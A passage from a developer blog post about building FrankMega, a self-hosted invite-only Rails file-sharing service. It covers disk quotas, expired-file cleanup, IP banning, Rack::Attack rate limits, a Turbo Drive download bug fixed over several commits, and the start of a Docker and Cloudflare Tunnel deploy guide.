<h3>Quotas and Disk Usage<span class="hx:absolute hx:-mt-20" id="quotas-and-disk-usage"></span>
    <a href="#quotas-and-disk-usage" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_16-00-52.png" alt="quota"  loading="lazy" /></p>
<p>Each user has a disk quota (5 GB default, admin can customize):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">can_upload?</span><span class="p">(</span><span class="n">file_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">grace</span> <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">x</span><span class="o">.</span><span class="n">security</span><span class="o">.</span><span class="n">disk_quota_grace_bytes</span>
</span></span><span class="line"><span class="cl">  <span class="p">(</span><span class="n">storage_used</span> <span class="o">+</span> <span class="n">file_size</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="p">(</span><span class="n">disk_quota</span> <span class="o">+</span> <span class="n">grace</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Without a quota, a single malicious user fills up the server disk. With the 10% grace buffer, an upload that slightly exceeds the limit is accepted so the user isn&rsquo;t frustrated in the edge case.</p>
<h3>Automatic Cleanup<span class="hx:absolute hx:-mt-20" id="automatic-cleanup"></span>
    <a href="#automatic-cleanup" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">CleanupExpiredFilesJob</span> <span class="o">&lt;</span> <span class="no">ApplicationJob</span>
</span></span><span class="line"><span class="cl">  <span class="n">queue_as</span> <span class="ss">:default</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">perform</span>
</span></span><span class="line"><span class="cl">    <span class="no">SharedFile</span><span class="o">.</span><span class="n">inactive</span><span class="o">.</span><span class="n">find_each</span> <span class="k">do</span> <span class="o">|</span><span class="n">shared_file</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="n">shared_file</span><span class="o">.</span><span class="n">file</span><span class="o">.</span><span class="n">purge</span> <span class="k">if</span> <span class="n">shared_file</span><span class="o">.</span><span class="n">file</span><span class="o">.</span><span class="n">attached?</span>
</span></span><span class="line"><span class="cl">      <span class="n">shared_file</span><span class="o">.</span><span class="n">destroy</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Runs every 15 minutes via Solid Queue. If nobody downloaded in 24 hours, gone. If it hit the download limit, gone. Without this, the server disk fills up and the service dies.</p>
<h3>Automatic IP Banning<span class="hx:absolute hx:-mt-20" id="automatic-ip-banning"></span>
    <a href="#automatic-ip-banning" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">InvalidHashAccessJob</span> <span class="o">&lt;</span> <span class="no">ApplicationJob</span>
</span></span><span class="line"><span class="cl">  <span class="n">queue_as</span> <span class="ss">:default</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">perform</span><span class="p">(</span><span class="n">ip_address</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">security</span> <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">application</span><span class="o">.</span><span class="n">config</span><span class="o">.</span><span class="n">x</span><span class="o">.</span><span class="n">security</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">unless</span> <span class="n">security</span><span class="o">.</span><span class="n">enable_banning</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">cache_key</span> <span class="o">=</span> <span class="s2">&#34;invalid_hash:</span><span class="si">#{</span><span class="n">ip_address</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">count</span> <span class="o">=</span> <span class="no">Rails</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">increment</span><span class="p">(</span><span class="n">cache_key</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="ss">expires_in</span><span class="p">:</span> <span class="mi">1</span><span class="o">.</span><span class="n">hour</span><span class="p">)</span> <span class="o">||</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">count</span> <span class="o">&gt;=</span> <span class="n">security</span><span class="o">.</span><span class="n">max_invalid_hash_attempts</span>
</span></span><span class="line"><span class="cl">      <span class="no">Ban</span><span class="o">.</span><span class="n">ban!</span><span class="p">(</span><span class="n">ip_address</span><span class="p">,</span> <span class="ss">reason</span><span class="p">:</span> <span class="s2">&#34;Repeated invalid download hash access&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="ss">duration</span><span class="p">:</span> <span class="n">security</span><span class="o">.</span><span class="n">ban_duration</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="no">Rails</span><span class="o">.</span><span class="n">cache</span><span class="o">.</span><span class="n">delete</span><span class="p">(</span><span class="n">cache_key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Tried 3 invalid hashes? Banned for 1 hour. That stops hash enumeration. With 24 bytes of entropy (192 bits, 2^192 possibilities) brute force is computationally infeasible, but the extra protection costs nothing.</p>
<h3>Layered Rate Limiting<span class="hx:absolute hx:-mt-20" id="layered-rate-limiting"></span>
    <a href="#layered-rate-limiting" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Rack::Attack operates at the middleware layer (before Rails processes the request):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># Login: 5 attempts per minute per IP</span>
</span></span><span class="line"><span class="cl"><span class="no">Rack</span><span class="o">::</span><span class="no">Attack</span><span class="o">.</span><span class="n">throttle</span><span class="p">(</span><span class="s2">&#34;logins/ip&#34;</span><span class="p">,</span> <span class="ss">limit</span><span class="p">:</span> <span class="mi">5</span><span class="p">,</span> <span class="ss">period</span><span class="p">:</span> <span class="mi">1</span><span class="o">.</span><span class="n">minute</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">req</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="n">req</span><span class="o">.</span><span class="n">ip</span> <span class="k">if</span> <span class="n">req</span><span class="o">.</span><span class="n">path</span> <span class="o">==</span> <span class="s2">&#34;/session&#34;</span> <span class="o">&amp;&amp;</span> <span class="n">req</span><span class="o">.</span><span class="n">post?</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Login: 5 attempts per minute per email</span>
</span></span><span class="line"><span class="cl"><span class="no">Rack</span><span class="o">::</span><span class="no">Attack</span><span class="o">.</span><span class="n">throttle</span><span class="p">(</span><span class="s2">&#34;logins/email&#34;</span><span class="p">,</span> <span class="ss">limit</span><span class="p">:</span> <span class="mi">5</span><span class="p">,</span> <span class="ss">period</span><span class="p">:</span> <span class="mi">1</span><span class="o">.</span><span class="n">minute</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">req</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="n">req</span><span class="o">.</span><span class="n">path</span> <span class="o">==</span> <span class="s2">&#34;/session&#34;</span> <span class="o">&amp;&amp;</span> <span class="n">req</span><span class="o">.</span><span class="n">post?</span>
</span></span><span class="line"><span class="cl">    <span class="n">req</span><span class="o">.</span><span class="n">params</span><span class="o">.</span><span class="n">dig</span><span class="p">(</span><span class="s2">&#34;email_address&#34;</span><span class="p">)</span><span class="o">&amp;.</span><span class="n">to_s</span><span class="o">&amp;.</span><span class="n">downcase</span><span class="o">&amp;.</span><span class="n">strip</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Downloads: 60 views and 30 downloads per minute</span>
</span></span><span class="line"><span class="cl"><span class="no">Rack</span><span class="o">::</span><span class="no">Attack</span><span class="o">.</span><span class="n">throttle</span><span class="p">(</span><span class="s2">&#34;downloads_get/ip&#34;</span><span class="p">,</span> <span class="ss">limit</span><span class="p">:</span> <span class="mi">60</span><span class="p">,</span> <span class="ss">period</span><span class="p">:</span> <span class="mi">1</span><span class="o">.</span><span class="n">minute</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">req</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="n">req</span><span class="o">.</span><span class="n">ip</span> <span class="k">if</span> <span class="n">req</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">start_with?</span><span class="p">(</span><span class="s2">&#34;/d/&#34;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">req</span><span class="o">.</span><span class="n">get?</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># General: 300 requests per 5 minutes (except assets)</span>
</span></span><span class="line"><span class="cl"><span class="no">Rack</span><span class="o">::</span><span class="no">Attack</span><span class="o">.</span><span class="n">throttle</span><span class="p">(</span><span class="s2">&#34;requests/ip&#34;</span><span class="p">,</span> <span class="ss">limit</span><span class="p">:</span> <span class="mi">300</span><span class="p">,</span> <span class="ss">period</span><span class="p">:</span> <span class="mi">5</span><span class="o">.</span><span class="n">minutes</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">req</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="n">req</span><span class="o">.</span><span class="n">ip</span> <span class="k">unless</span> <span class="n">req</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">start_with?</span><span class="p">(</span><span class="s2">&#34;/assets&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Seven different throttles for specific scenarios. Plus Rails 8&rsquo;s <code>rate_limit</code> in the controllers. Banned IPs never even hit Rails &ndash; they&rsquo;re rejected at the middleware blocklist with status 403.</p>
<p>And the limits are configurable: 1x in production, 10x in development so you don&rsquo;t lock yourself out during testing. Everything centralized in <code>config/initializers/security.rb</code>.</p>
<h2>The Download Saga: 5 Commits in 21 Minutes<span class="hx:absolute hx:-mt-20" id="the-download-saga-5-commits-in-21-minutes"></span>
    <a href="#the-download-saga-5-commits-in-21-minutes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-31-25.png" alt="download"  loading="lazy" /></p>
<p>This part is fun because it shows real debugging. Between 14:44 and 15:05 I made <strong>5 commits</strong> trying to get downloads working with Turbo Drive:</p>
<ol>
<li><code>cc3c23d</code> &ndash; Added <code>data-turbo=false</code> on the download button. <strong>Didn&rsquo;t work.</strong></li>
<li><code>5224ed2</code> &ndash; Moved <code>data-turbo=false</code> to the <code>&lt;form&gt;</code>. <strong>Didn&rsquo;t work.</strong></li>
<li><code>98b0d4f</code> &ndash; Dropped <code>redirect_to rails_blob_path</code> and used <code>send_file</code> directly. <strong>Partially worked.</strong></li>
<li><code>1fdf5f9</code> &ndash; Switched from POST to GET link. Worked, but&hellip; bots can burn downloads with GET.</li>
<li><code>4c74b27</code> &ndash; Went back to POST. Added URL artifact cleanup in filenames.</li>
</ol>
<p>The root cause: Turbo Drive intercepts navigation aggressively, and downloading a file via <code>redirect_to</code> (which generates a chain of 302 redirects from Active Storage) confuses Turbo. The final fix: <code>send_file</code> straight from disk with <code>disposition: &quot;attachment&quot;</code> via POST with <code>data: { turbo: false }</code> on the form.</p>
<p>This kind of problem an LLM won&rsquo;t solve on its own. You need to test in a real browser, see what happens, try, fail, adjust. It&rsquo;s pure iterative development.</p>
<h2>The Gap Between the Idea and the Final Product<span class="hx:absolute hx:-mt-20" id="the-gap-between-the-idea-and-the-final-product"></span>
    <a href="#the-gap-between-the-idea-and-the-final-product" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Look at what the IDEA.md didn&rsquo;t mention and that emerged during development:</p>
<ol>
<li>Per-user disk quotas &ndash; without these one user fills the server disk</li>
<li>Full I18n (EN + PT-BR) &ndash; 66 files, ~250 strings extracted</li>
<li>Terms of Service with mandatory acceptance</li>
<li>User self-deletion &ndash; privacy requirement</li>
<li>Blocked downloads for banned users &ndash; their links return 410 Gone</li>
<li>Client-side upload validation &ndash; checks size, quota and filename before upload</li>
<li>Inline file previews &ndash; images, video and audio on the download page without consuming downloads</li>
<li>Styled error pages &ndash; instead of plain text &ldquo;Not Found&rdquo;, branded pages with i18n</li>
</ol>
<p>The IDEA.md said &ldquo;use activeadmin or administrate&rdquo;. In practice I built a custom admin panel with Tailwind because <code>administrate</code> had compatibility issues with Rails 8.1. The IDEA.md mentioned &ldquo;progress bar if possible&rdquo;. In practice I used drag-and-drop with a file preview via Stimulus, which is better than a progress bar.</p>
<p>Nobody can predict every feature on day 1. You discover requirements as you build. And each new feature brings edge cases that need handling.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-32-50.png" alt="pt"  loading="lazy" /></p>
<h2>The Numbers<span class="hx:absolute hx:-mt-20" id="the-numbers"></span>
    <a href="#the-numbers" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>At the end of the project:</p>
<ul>
<li>21 commits in a ~3-hour session</li>
<li>210 tests (Minitest + FactoryBot), 513 assertions, zero failures</li>
<li>~3,100 lines of application code (models, controllers, views, JS, CSS, configs)</li>
<li>~1,965 lines of tests (including dedicated security tests)</li>
<li>9 models, 20 controllers, 36 views, 9 Stimulus controllers</li>
<li>24 distinct security measures across 7 layers</li>
<li>CI: SimpleCov, RuboCop (zero offenses), Brakeman (zero warnings), bundler-audit (zero vulnerabilities)</li>
<li>Zero external dependencies beyond SQLite. No Redis, no PostgreSQL, no external queue service</li>
</ul>
<h2>The Invitation-Only Server<span class="hx:absolute hx:-mt-20" id="the-invitation-only-server"></span>
    <a href="#the-invitation-only-server" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-31-54.png" alt="invite"  loading="lazy" /></p>
<p>FrankMega has no public signup. The flow is:</p>
<ol>
<li>On first run, with no users, the setup screen appears to create the admin</li>
<li>The <code>/setup</code> route only exists while <code>User.count.zero?</code> &ndash; afterward it vanishes entirely:</li>
</ol>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">constraints</span><span class="p">(</span><span class="o">-&gt;</span><span class="p">(</span><span class="n">request</span><span class="p">)</span> <span class="p">{</span> <span class="no">User</span><span class="o">.</span><span class="n">count</span><span class="o">.</span><span class="n">zero?</span> <span class="p">})</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">get</span> <span class="s2">&#34;setup&#34;</span><span class="p">,</span> <span class="ss">to</span><span class="p">:</span> <span class="s2">&#34;setup#new&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="n">post</span> <span class="s2">&#34;setup&#34;</span><span class="p">,</span> <span class="ss">to</span><span class="p">:</span> <span class="s2">&#34;setup#create&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<ol start="3">
<li>The admin creates invites in the admin panel (with expiration)</li>
<li>Each invite generates a unique 16-byte code</li>
<li>Each code can only be used once (<code>with_lock</code> + transaction to prevent a race condition)</li>
<li>After signup, the invite is marked as &ldquo;used&rdquo;</li>
</ol>
<p>This is perfect for a personal/family service. Full control over who gets in.</p>
<h2>Deploy: Docker + Cloudflare Tunnel<span class="hx:absolute hx:-mt-20" id="deploy-docker--cloudflare-tunnel"></span>
    <a href="#deploy-docker--cloudflare-tunnel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-33-40.png" alt="share"  loading="lazy" /></p>
<p>To wrap up, the deploy tutorial in case you want to run this on your own Docker home server. It&rsquo;s not complicated but there are details that matter.</p>
<h3>The Dockerfile<span class="hx:absolute hx:-mt-20" id="the-dockerfile"></span>
    <a href="#the-dockerfile" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Multi-stage build in 3 stages:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-dockerfile" data-lang="dockerfile"><span class="line"><span class="cl"><span class="c"># Stage 1: Base (runtime)</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">FROM</span><span class="w"> </span><span class="s">ruby:3.4.8-slim</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">base</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">RUN</span> apt-get install -y curl libjemalloc2 libvips sqlite3<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># jemalloc for better memory management</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># Stage 2: Build (throwaway)</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">FROM</span><span class="w"> </span><span class="s">base</span><span class="w"> </span><span class="k">AS</span><span class="w"> </span><span class="s">build</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">RUN</span> apt-get install -y build-essential git libssl-dev<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># Bundle install + asset precompilation with dummy env vars</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># Stage 3: Final</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="c"># Copies gems and app, runs as non-root user (rails:rails, UID 1000)</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="k">CMD</span> <span class="p">[</span><span class="s2">&#34;./bin/thrust&#34;</span><span class="p">,</span> <span class="s2">&#34;./bin/rails&#34;</span><span class="p">,</span> <span class="s2">&#34;server&#34;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>bin/thrust</code> is Thruster (from Basecamp) &ndash; an HTTP proxy in front of Puma that handles gzip/brotli compression, asset caching, X-Sendfile acceleration. It listens on port 80 and proxies to Puma on 3000.</p>
<p>The entrypoint runs <code>db:prepare</code> and <code>db:seed</code> automatically at boot:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash -e
</span></span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="si">${</span><span class="p">@: -2:</span><span class="nv">1</span><span class="si">}</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;./bin/rails&#34;</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="si">${</span><span class="p">@: -1:</span><span class="nv">1</span><span class="si">}</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;server&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  ./bin/rails db:prepare
</span></span><span class="line"><span class="cl">  ./bin/rails db:seed
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="nb">exec</span> <span class="s2">&#34;</span><span class="si">${</span><span class="p">@</span><span class="si">}</span><span class="s2">&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>docker-compose.yml<span class="hx:absolute hx:-mt-20" id="docker-composeyml"></span>
    <a href="#docker-composeyml" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Two services:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">web</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">akitaonrails/frankmega:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;3100:80&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/home/seuuser/frankmega/uploads:/rails/storage/uploads</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/home/seuuser/frankmega/db:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">SECRET_KEY_BASE</span><span class="p">:</span><span class="w"> </span><span class="l">${SECRET_KEY_BASE}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">HOST</span><span class="p">:</span><span class="w"> </span><span class="l">${HOST}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="c"># ... around 15 more variables</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">tunnel</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">cloudflare/cloudflared:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="l">tunnel run</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">TUNNEL_TOKEN=${TUNNEL_TOKEN}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">web</span><span class="w">
